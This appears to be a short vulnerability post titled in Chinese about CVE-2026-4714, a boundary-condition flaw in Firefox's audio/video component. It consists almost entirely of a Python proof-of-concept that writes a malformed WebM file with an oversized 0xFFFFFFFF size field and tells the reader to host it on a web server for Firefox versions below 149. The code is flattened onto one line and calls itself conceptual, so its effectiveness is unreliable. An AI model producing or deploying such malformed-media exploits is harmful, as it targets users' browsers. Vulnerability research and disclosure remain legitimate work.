CVE-2026-4714 Firefox音视频组件边界条件错误漏洞

# PoC for CVE-2026-4714: Conceptual trigger for boundary condition bug import struct def generate_malformed_media(filename): # Simulate creating a malformed media file header # This payload attempts to trigger the incorrect boundary check # by defining an invalid size field in the media container structure. # Generic container signature placeholder header = b'\x1A\x45\xDF\xA3' # Malicious size field that violates boundary conditions # Setting a size that exceeds the allocated buffer malicious_size = struct.pack('>I', 0xFFFFFFFF) # Padding to simulate data payload = header + malicious_size + b'\x00' * 100 with open(filename, 'wb') as f: f.write(payload) print(f"[+] Malformed media file generated: {filename}") print(f"[+] Host this file on a web server and open it in vulnerable Firefox < 149") if __name__ == "__main__": generate_malformed_media("cve_2026_4714_poc.webm")